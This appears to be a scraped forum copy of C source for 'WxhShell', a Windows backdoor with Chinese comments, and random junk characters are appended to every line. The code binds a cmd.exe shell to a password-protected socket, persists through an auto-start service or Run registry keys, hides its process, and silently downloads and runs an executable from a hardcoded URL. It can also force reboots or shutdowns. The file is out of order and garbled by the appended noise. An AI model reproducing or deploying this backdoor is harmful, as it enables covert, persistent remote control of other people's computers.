    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]] 0M  
    if(Boot(SHUTDOWN)) 86-Rm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?r&~(<^z  
    else { r5hkxk'  
    closesocket(wsh); I F!xZ6X8  
    ExitThread(0); W[)HFh(#  
    } kDm uj>D  
    break; vqf}(/.D  
    } $+4 4US  
  // 获取shell 13v`rK`7o  
  case 's': { N-F&=u}  
    CmdShell(wsh); 1/:vFX  
    closesocket(wsh); 6-"tQ,AZ  
    ExitThread(0); diM*jN#  
    break; s,[ I_IiPf  
  } -nC&t~sD  
  // 退出 LA\3 ,Uv  
  case 'x': { V(ww F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ti9e(Jt!O  
    CloseIt(wsh); bIBF2m4  
    break; iH-,l  
    } 2RNee@!JJP  
  // 离开 p2b~k[  
  case 'q': { L7rr/D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5TuwXz1v  
    closesocket(wsh); e#mf{1&  
    WSACleanup(); R||$Rfe  
    exit(1); M61Nl)|mx&  
    break; lc5(^ ~  
        } $X)|`$#pL#  
  } !L9|iC:8  
  } C7m/<  
v ,h"u  
  // 提示信息 JP\jhkn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dPpQCx f  
} !F}GSDDV*  
  } ?F[_5ls|]  
JLWm9c+UTG  
  return; zJ8T.+qJ  
} X!z-J>  
~1*37w~  
// shell模块句柄 |*zgX]-+;  
int CmdShell(SOCKET sock) #M w70@6  
{ r]\[G6mE%  
STARTUPINFO si; JiXE{(  
ZeroMemory(&si,sizeof(si)); P6>C+T1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -WyB2$!(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y+23 jlgb  
PROCESS_INFORMATION ProcessInfo; $RI$VyAjD  
char cmdline[]="cmd"; _ti^i\8~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X}3?k<m  
  return 0; v:74iB$i/C  
} ynMYf  
OMjPC_  
// 自身启动模式 hC<E4+5.,  
int StartFromService(void) mpwh=  
{ {_\dwe9  
typedef struct z@19gD#8  
{ 4|\M`T  
  DWORD ExitStatus; u|$HA>F[  
  DWORD PebBaseAddress; ShV_8F z  
  DWORD AffinityMask;  Lhg  
  DWORD BasePriority; f&5S`}C  
  ULONG UniqueProcessId; I'{Ctc  
  ULONG InheritedFromUniqueProcessId; (HeSL),1  
}   PROCESS_BASIC_INFORMATION; p(GI02|n  
'M?ptu?f  
PROCNTQSIP NtQueryInformationProcess; hUvA;E(qD  
v4rO 0y=C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GGHeC/4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Iy*Q{H3[  
WixEnsJ  
  HANDLE             hProcess; \+U;$.)3  
  PROCESS_BASIC_INFORMATION pbi; 8|i<4>  
c%b|+4 }x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7],y(:[=v  
  if(NULL == hInst ) return 0; P;gd!Yl<-  
{*hGe_^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pQ7elv]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _hJ+8B^`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OC,yLQ  
4n(w{W>  
  if (!NtQueryInformationProcess) return 0; e"sv_$*  
#;8VBbc\^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >HwVP.~HN  
  if(!hProcess) return 0; d<=!*#q;o  
/03 Wst  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P>~Usuf4  
@Bkg<  
  CloseHandle(hProcess); RlvvO  
U_aI!`WXd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G1zP^ogk  
if(hProcess==NULL) return 0; HXdo:#xEO  
PW"?* ~&  
HMODULE hMod; ia /#`#.  
char procName[255]; [\Aws^fD_  
unsigned long cbNeeded; [Ax :gj  
n3U| d+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  4J=6U&b  
JCZ&TK  
  CloseHandle(hProcess); nHXPEbq-g  
/: \27n  
if(strstr(procName,"services")) return 1; // 以服务启动 dKDCJ t]t  
W>{&" 5  
  return 0; // 注册表启动 >N`, 3;Z  
} c-.F {~  
"[z/\l8O  
// 主模块 3ErV" R4"$  
int StartWxhshell(LPSTR lpCmdLine) N@'l: N'f4  
{ ' MyJw*%b]  
  SOCKET wsl; Ya<KMBi3  
BOOL val=TRUE; ,_7m<(/f  
  int port=0; X>yE<ni  
  struct sockaddr_in door; TOP,]N/F H  
dR,a0+!  
  if(wscfg.ws_autoins) Install(); K!>3`[:I"  
"<&o ;x<  
port=atoi(lpCmdLine); #sv}%oV,F  
l_2l/ff9  
if(port<=0) port=wscfg.ws_port; m\ qR myO  
Q>w)b]d~c  
  WSADATA data; wax^iL!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b=WkRj  
kwS[,Qy\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [CV0sYEA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q~AvxO  
  door.sin_family = AF_INET; vu*{+YpH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7n;a_Z0s$  
  door.sin_port = htons(port); drwxrZt   
q9^.f9-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d|UH AX  
closesocket(wsl); ,gkWksl9  
return 1; U&$I!80.  
} h"2^` )!u  
JiA1yt  
  if(listen(wsl,2) == INVALID_SOCKET) { >: @\SU  
closesocket(wsl); kY4h-oZ  
return 1; l`j@QP  
} >E,/|K*  
  Wxhshell(wsl); n|QA\,=  
  WSACleanup(); QqeF   
@k:@mzB7R  
return 0; EW)r/Av:,  
kAx J#RG  
} OWYY2&.h  
dj6Lf  
// 以NT服务方式启动 fl_a@QdB#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'P&r^V\~(/  
{ mII8jyg*c  
DWORD   status = 0; ( Y mIui>  
  DWORD   specificError = 0xfffffff; :2{ [f+  
V*6&GM&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 98{n6$\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GapH^trm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t3Iij0b~  
  serviceStatus.dwWin32ExitCode     = 0; dW^#}kN7V  
  serviceStatus.dwServiceSpecificExitCode = 0; ~ :B/`1[m  
  serviceStatus.dwCheckPoint       = 0; 0R&7vn  
  serviceStatus.dwWaitHint       = 0; 3`"k1W  
hGUQdTNP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GsqO^SV  
  if (hServiceStatusHandle==0) return; $VxuaOTyVZ  
]HG> Og  
status = GetLastError(); MAc/ T.[  
  if (status!=NO_ERROR) ~~ty9;KYL  
{ ^M1O)   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xkaed  
    serviceStatus.dwCheckPoint       = 0; 7tY~8gQel  
    serviceStatus.dwWaitHint       = 0; itO1ROmu  
    serviceStatus.dwWin32ExitCode     = status; sQT,@+JEr  
    serviceStatus.dwServiceSpecificExitCode = specificError; %Si3LQf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q6[h;lzGV  
    return; _9/Af1 X  
  } <g8{LG0  
<S@2%%W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;/^O7KM-  
  serviceStatus.dwCheckPoint       = 0; j8t_-sU9 i  
  serviceStatus.dwWaitHint       = 0; D6FG$SV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kN vNV(4  
} # kmI#W"^  
@oMl^UYM=  
// 处理NT服务事件,比如:启动、停止 5pE@Ww  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Nn5sD3z#  
{ J\I`#  
switch(fdwControl) 6lxZo_  
{ dSzq}w4xY  
case SERVICE_CONTROL_STOP: E{}eYU  
  serviceStatus.dwWin32ExitCode = 0; gLg\W3TOi  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d[ce3':z  
  serviceStatus.dwCheckPoint   = 0; >PygUY d  
  serviceStatus.dwWaitHint     = 0; C2J@]&  
  { Bq85g5Dc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a'\fS7aE0l  
  } "&kXAwe  
  return; 072`i 46  
case SERVICE_CONTROL_PAUSE: JG'&anbm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d8f S79  
  break; (Z>vbi%  
case SERVICE_CONTROL_CONTINUE: !z?:Y#P3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZpU4"x>  
  break; }e,*'mCC*  
case SERVICE_CONTROL_INTERROGATE: 9kU|?JE  
  break; js=w!q0)9  
}; ns8I_H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \,b_8^  
} [-Mfgw]i  
(Yc}V  
// 标准应用程序主函数 `q1K%id  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ezk:XDi4  
{ |F>'7JJJ  
*IC9))PGJ  
// 获取操作系统版本 bd.t|A  
OsIsNt=GetOsVer(); X57\sggK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); " 1$hfs  
p \,PY  
  // 从命令行安装 :WN*wd  
  if(strpbrk(lpCmdLine,"iI")) Install(); xV5eKV  
@1 )][r-7  
  // 下载执行文件 :U#4H;kk~j  
if(wscfg.ws_downexe) { 0o&7l%Y/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j&=!F3[  
  WinExec(wscfg.ws_filenam,SW_HIDE); J.npv1F  
} sMqAuhw$.  
+P 9h%/Yk  
if(!OsIsNt) { XiUae{j`  
// 如果时win9x,隐藏进程并且设置为注册表启动 >c8EgSZJ  
HideProc(); >1d`G%KfG  
StartWxhshell(lpCmdLine); ,7|2K&C5  
} r;&rc:?A  
else :mz6*0qW  
  if(StartFromService()) UR.l*+<W7  
  // 以服务方式启动 e@crM'R7Lo  
  StartServiceCtrlDispatcher(DispatchTable); >I.X]<jI  
else =wX(a  
  // 普通方式启动 W-@}q}A  
  StartWxhshell(lpCmdLine); l8ZzKb-  
&]HY:  
return 0; 62%=%XD  
} #s^~'2^%4  
pD%Pg5p`  
v`pIovn  
H!dg(d^  
=========================================== HrQft1~N  
djtCv;z  
F:rT.n  
c4n]#((%a  
?i7}d@636  
YXhxzH hPd  
" PWThm ooP  
iOzY8M+N(  
#include <stdio.h> L+y90 T6?  
#include <string.h> C e1^S[  
#include <windows.h> yGtGhP8  
#include <winsock2.h> =;^#5dpt$  
#include <winsvc.h> Zo|# ,AdE>  
#include <urlmon.h> 3]}wZY0  
Kr|9??`0E  
#pragma comment (lib, "Ws2_32.lib") Zb=H\#T  
#pragma comment (lib, "urlmon.lib") w#M66=je_  
\"@BZ.y  
#define MAX_USER   100 // 最大客户端连接数 Z-,' M tD  
#define BUF_SOCK   200 // sock buffer n$}Cj}eju  
#define KEY_BUFF   255 // 输入 buffer zQQ=8#]  
xA>O4S D  
#define REBOOT     0   // 重启 h*9s^`9)  
#define SHUTDOWN   1   // 关机 H"A|Z6y$^  
z<c@<M=Q*  
#define DEF_PORT   5000 // 监听端口 Dy_Za.N2  
y0D="2)  
#define REG_LEN     16   // 注册表键长度 {  'Db  
#define SVC_LEN     80   // NT服务名长度 <Sx-Ca7  
?oX.$E?(  
// 从dll定义API J}cqBk>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I+]q;dF;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Wp<4F 6C$@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gIfl}Jat  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "eiZZSz  
%;|^*?!J0  
// wxhshell配置信息 B&E qd  
struct WSCFG { ~ g\GC  
  int ws_port;         // 监听端口 Gn_rf"  
  char ws_passstr[REG_LEN]; // 口令 {@c)!% 2$  
  int ws_autoins;       // 安装标记, 1=yes 0=no xi2!__  
  char ws_regname[REG_LEN]; // 注册表键名 hI{M?LQd  
  char ws_svcname[REG_LEN]; // 服务名 i?&g;_n^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H#l uG_)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +84JvOkWi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Hki  
int ws_downexe;       // 下载执行标记, 1=yes 0=no & A%*sD6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -~-BQ!!(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ah\yw  
A[@xTq s{{  
}; ir%?J&C+t  
tGcp48R-:+  
// default Wxhshell configuration w{1DwCLKq  
struct WSCFG wscfg={DEF_PORT, MwN.Ll  
    "xuhuanlingzhe", B~oc.s g  
    1, Lgh. 1foK  
    "Wxhshell", &nk[gb o\  
    "Wxhshell", I8C(z1(N  
            "WxhShell Service", 9fyJw1  
    "Wrsky Windows CmdShell Service", Q^qdm5}UkW  
    "Please Input Your Password: ", R7 )2@;i  
  1, 6ZCSCBW  
  "http://www.wrsky.com/wxhshell.exe", P O,mg?JG(  
  "Wxhshell.exe" CE19V:zp  
    }; spE(s%dgL  
BuE=(v2}  
// 消息定义模块 Tq7cZe"6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u"*@k^}(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n:-:LSa+3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T(E$0a)#  
char *msg_ws_ext="\n\rExit."; 4ACL|RF)A  
char *msg_ws_end="\n\rQuit."; mgk<PY  
char *msg_ws_boot="\n\rReboot..."; 1I*b7t  
char *msg_ws_poff="\n\rShutdown..."; WxB}Uh  
char *msg_ws_down="\n\rSave to "; fP>*EDn@xg  
H +O7+=&  
char *msg_ws_err="\n\rErr!"; DRC2U%[  
char *msg_ws_ok="\n\rOK!"; jW^@lH EU  
]\y:AkxhJ  
char ExeFile[MAX_PATH]; b'Scoa7@'  
int nUser = 0; tp-PE?  
HANDLE handles[MAX_USER]; ~9N n8g6  
int OsIsNt; gi|j ! m  
u/5 ^N^@^  
SERVICE_STATUS       serviceStatus; b42"Y,sbB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h#ogL-UU  
mlsM;A d2  
// 函数声明 &> Myf@  
int Install(void); tCFXb6Cz  
int Uninstall(void); dy^Zlu` f  
int DownloadFile(char *sURL, SOCKET wsh); p<w2e  
int Boot(int flag); Q{ibH=^  
void HideProc(void); o/grM+_  
int GetOsVer(void); %Y7\0q~Z  
int Wxhshell(SOCKET wsl); Z Sj[GI  
void TalkWithClient(void *cs); OaeGukhX&  
int CmdShell(SOCKET sock); ]chfa  
int StartFromService(void); 8cV3VapF  
int StartWxhshell(LPSTR lpCmdLine); Flrpk`4  
^ gY^I`"e6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \J>a*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dX4"o?KD>  
2E Ufd\   
// 数据结构和表定义 8Z{e/wnVF  
SERVICE_TABLE_ENTRY DispatchTable[] = uTgvMkO  
{ MCBZq\c  
{wscfg.ws_svcname, NTServiceMain}, Dp)5u@I  
{NULL, NULL} "enGWI H  
}; KiXRBFo  
 F'!pM(+  
// 自我安装 ]m _<lRye  
int Install(void) ,P&.qg i=(  
{ 5 *8 V4ca  
  char svExeFile[MAX_PATH]; owz6j:  
  HKEY key; z?NMQ8l|:6  
  strcpy(svExeFile,ExeFile); K\w:'%>-  
E;Akm':  
// 如果是win9x系统,修改注册表设为自启动 zGfF.q}  
if(!OsIsNt) { ^W&qTSjh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9~ [Sio~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >}& :y{z~  
  RegCloseKey(key); VI{!ZD]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @2>A\0U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k E^%w?C  
  RegCloseKey(key); Sn(e@|!G  
  return 0; ;}iV`)S  
    } p ~/  
  } oCw>b]S  
} I{e[Y_  
else { nH6Ny  
ia'eV10  
// 如果是NT以上系统,安装为系统服务 u0&QStI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i%M6$or  
if (schSCManager!=0) c Z6Zx]  
{ ;L <D-=  
  SC_HANDLE schService = CreateService T*AXS|=ju  
  ( T1\LS*~!  
  schSCManager, !p&[:+qN  
  wscfg.ws_svcname, p$mx  
  wscfg.ws_svcdisp, sqtMhUQ?>w  
  SERVICE_ALL_ACCESS, N- !>\n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v}vwk8  
  SERVICE_AUTO_START, n};:*N! v  
  SERVICE_ERROR_NORMAL, 7Nu.2qE  
  svExeFile, TuF;>{~}  
  NULL, ,".1![b  
  NULL, |ia#Elavo  
  NULL, nY]5pOF:  
  NULL, wZ&l6J4L  
  NULL WOw( -  
  ); gk &  
  if (schService!=0) #qx$ p  
  { _6y#?8RMB  
  CloseServiceHandle(schService); =tP%K*Il4  
  CloseServiceHandle(schSCManager); S.u1[Yz^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F$tshe(  
  strcat(svExeFile,wscfg.ws_svcname); Ol%KXq[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iJ&*H)}^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ku8C#%.m3  
  RegCloseKey(key); UDBMf2F]  
  return 0; &7K 4tL  
    } O)bc8DyI  
  } {`-f<>N3  
  CloseServiceHandle(schSCManager); dF@m4U@L  
} E79'<;K,zs  
} Z1 7=g@  
-rn%ASye  
return 1; K~1u R:DR  
} 3FD6.X>x  
0Yzm\"Ggv  
// 自我卸载 ?pBQaUl&  
int Uninstall(void) y'$R e  
{ bdS  
  HKEY key; |Ok@:Au  
I34|<3t$  
if(!OsIsNt) { 8@$`'h^6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uWtj?Q+M|  
  RegDeleteValue(key,wscfg.ws_regname); ZNHlq5  
  RegCloseKey(key); ,/oqLI\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `RF0%Vm~t  
  RegDeleteValue(key,wscfg.ws_regname); ,Y) 7M3I  
  RegCloseKey(key); *n"{]tj^>  
  return 0; 0*=[1tdWY  
  } yi29+T7j4S  
} yH9(ru  
} ]!um}8!}  
else { Em<B 9S  
qKSS 2f $  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O`M 6 =\  
if (schSCManager!=0) %0y_WIjz  
{ D1ep7ykY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 43'!<[?x  
  if (schService!=0) 5YZh e4R  
  { _A>?@3La9  
  if(DeleteService(schService)!=0) { k1.h|&JJN  
  CloseServiceHandle(schService); K*QRi/O  
  CloseServiceHandle(schSCManager); %X5p\VS\7  
  return 0; mqt$'_M  
  } ^MXW,xqb  
  CloseServiceHandle(schService); y#B4m`9  
  } ~x-"?K  
  CloseServiceHandle(schSCManager); e+TSjm  
} <n;9IU  
} /WxCsQn  
&1 BACKu  
return 1; a'Vz|S G  
} ?LwBF;Y  
H(QbH)S$6  
// 从指定url下载文件 K Y=$RO  
int DownloadFile(char *sURL, SOCKET wsh) ^b;3Jj  
{ 0XSMby?t`  
  HRESULT hr; >WcOY7  
char seps[]= "/"; "9^OT  
char *token; (zmL MG(R  
char *file; Ue?mb$ykC.  
char myURL[MAX_PATH]; =$w QA  
char myFILE[MAX_PATH]; K!<3|d  
!*\ J4bJe  
strcpy(myURL,sURL); >d9b"T  
  token=strtok(myURL,seps); )wM881_!  
  while(token!=NULL) Q2)CbHSz  
  { aA6m5  
    file=token; 75"&"*R/*G  
  token=strtok(NULL,seps); {0o ,2]o!:  
  } YXlaE=9bn  
/a .XWfu  
GetCurrentDirectory(MAX_PATH,myFILE); {Qf/.[  
strcat(myFILE, "\\"); 9<|nJt  
strcat(myFILE, file); H "; !A=0  
  send(wsh,myFILE,strlen(myFILE),0); l:.q1UV  
send(wsh,"...",3,0); Ai*+LSG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HOr.(gL!  
  if(hr==S_OK) =mp"=%  
return 0; EJid@  
else ?^by3\,VZ  
return 1; %_L~"E 2e  
O' ~>AC5{  
} Oj F]K,$  
PiVp(; rtQ  
// 系统电源模块 KKRj#m(:!  
int Boot(int flag) 0hpU9w}12  
{ s}93nv*ez  
  HANDLE hToken; tJa*(%Z?f  
  TOKEN_PRIVILEGES tkp; \hO}3;*&  
c$n`=NI  
  if(OsIsNt) { X 2Zp @q(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p6&6^v\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ']:>Ww.S  
    tkp.PrivilegeCount = 1; ?Z2_y-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cl{kCSZo.z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IQ $/|b/  
if(flag==REBOOT) { Htm;N2$d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qCI0[U@  
  return 0; 1]wo    
} (RBB0CE  
else { 1Xkl.FcFw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2~ y<l  
  return 0; 5M? I-m  
} Ge=|RAw3  
  } L$3{L"/   
  else { 7csMk5NU'<  
if(flag==REBOOT) { er0y~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S^:7V[=EgI  
  return 0; =KW~k7TaN  
} 3>#io^35  
else { Jz@2?wSp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,c&%/"i:w  
  return 0; 1 uJpn  
} p_EWpSOt7  
} lhBu?q  
3| F\a|N  
return 1; u|sdQ  
} R/\qDY,@  
AkEt=vI  
// win9x进程隐藏模块 ayZWt| iHA  
void HideProc(void) k0IztFyj:R  
{ dk_! ~Z  
wl0i3)e:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?2<V./2F  
  if ( hKernel != NULL ) D}/nE>*  
  { A(1WQUu j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M=sGPPj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  (2dkmn  
    FreeLibrary(hKernel); |H'wDw8  
  } H03R?S9AQ  
P0l.sVqL  
return; *EF`s~  
} 4Jk[X>I~  
o<L=l Q  
// 获取操作系统版本 _}l7f  
int GetOsVer(void) axM(3k.n  
{ b" kL)DL1L  
  OSVERSIONINFO winfo; @0D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s(r1q$5  
  GetVersionEx(&winfo); n*m"yp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i{}Q5iy  
  return 1; +-PFISa<r  
  else `##^@N<P  
  return 0; bb!cZ >Z  
} Vy+kq_9  
bI:cYn1  
// 客户端句柄模块 ,h },jkY4  
int Wxhshell(SOCKET wsl) \os"j  
{ 1v'|%B;O  
  SOCKET wsh; K}!YXy h  
  struct sockaddr_in client; XSktb k  
  DWORD myID; L YMb)=u]  
[W8?ww%qT  
  while(nUser<MAX_USER) w^)_Fk3  
{ qFwAzW;"  
  int nSize=sizeof(client); !4}Wp.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HEs.pET\  
  if(wsh==INVALID_SOCKET) return 1; 13MB1n  
-f=4\3y3p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g]PC6xr38  
if(handles[nUser]==0) >$_@p(w  
  closesocket(wsh); k p8kp`S7  
else 4=ZN4=(_[  
  nUser++; <*+Y]=  
  } qR^i5JH}u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f"d4HZD^  
L r9z~T:ED  
  return 0; :pGgxO%q  
} |K'7BK_^J  
D)J'xG_<O  
// 关闭 socket f=Kt[|%'e  
void CloseIt(SOCKET wsh) 10ZL-7D#m  
{ mO @Sl(9  
closesocket(wsh); VRvX^w0  
nUser--; S !R:a>\  
ExitThread(0); f= 33+8I  
}  m8z414o  
m$A-'*'  
// 客户端请求句柄 l/6(V:  
void TalkWithClient(void *cs) 0r%,|FaS  
{ W-ol*S  
F5YHc$3^  
  SOCKET wsh=(SOCKET)cs; Vv.q{fRvYB  
  char pwd[SVC_LEN]; 5`f\[oA  
  char cmd[KEY_BUFF]; D|"^ :Gi  
char chr[1]; KZI-/H+  
int i,j; k^Uk= )9  
E>NL/[1d  
  while (nUser < MAX_USER) { v$EgVc K  
j?s+#t  
if(wscfg.ws_passstr) { xi!R[xr1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {>zQW{!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xwZ7I  
  //ZeroMemory(pwd,KEY_BUFF); \:_!!   
      i=0; 5dEek7wnf  
  while(i<SVC_LEN) { y*5$B.u`.  
jrm L>0NZ  
  // 设置超时 \j~LxV  
  fd_set FdRead; I.'sK9\Zp  
  struct timeval TimeOut; xXNL UP  
  FD_ZERO(&FdRead); W=?s-*F[~  
  FD_SET(wsh,&FdRead); gpe-)hD@R  
  TimeOut.tv_sec=8; RiCzH  
  TimeOut.tv_usec=0; Z=y^9]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a+p_47 xa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U?yKwH^{  
%|gj46  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]?j[P=\  
  pwd=chr[0]; YhJ*(oWL  
  if(chr[0]==0xd || chr[0]==0xa) { hxj[gE'R(  
  pwd=0; n Y=]KU  
  break; ] KR\<MJK  
  } bcE%EQ  
  i++; \&1Di\eL  
    } YLe$Vv735  
Mf.:y  
  // 如果是非法用户,关闭 socket .[hbiv#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #>(h!lT_  
} GeCyq%dN  
X?Z#k~JR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UY*[='l!)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gj<Y+Dv>  
p/%B>Y >  
while(1) { CsW*E,|xyP  
H2D j`0  
  ZeroMemory(cmd,KEY_BUFF); 7EukrE<b'  
4@ =l'Fw  
      // 自动支持客户端 telnet标准   mp+lN:  
  j=0; ZHW|P  
  while(j<KEY_BUFF) { parc\]M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4f{(Scg  
  cmd[j]=chr[0]; S!wY6z  
  if(chr[0]==0xa || chr[0]==0xd) { *WX,bN6Ot  
  cmd[j]=0; d&[.=M\E8  
  break; Ex3V[v+D(  
  } K#oF=4_/|  
  j++; UXN!iU)  
    } 7s-ZRb[)1  
]U,f}T"e  
  // 下载文件 VLfE3i4Vwl  
  if(strstr(cmd,"http://")) { <j$n7#qk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .j_YVYu1&  
  if(DownloadFile(cmd,wsh)) ZsikI@?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); iv]*HE  
  else *C n `pfO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [MVG\6Up(  
  } = ;"$t_t  
  else { 3gzcpFNqX  
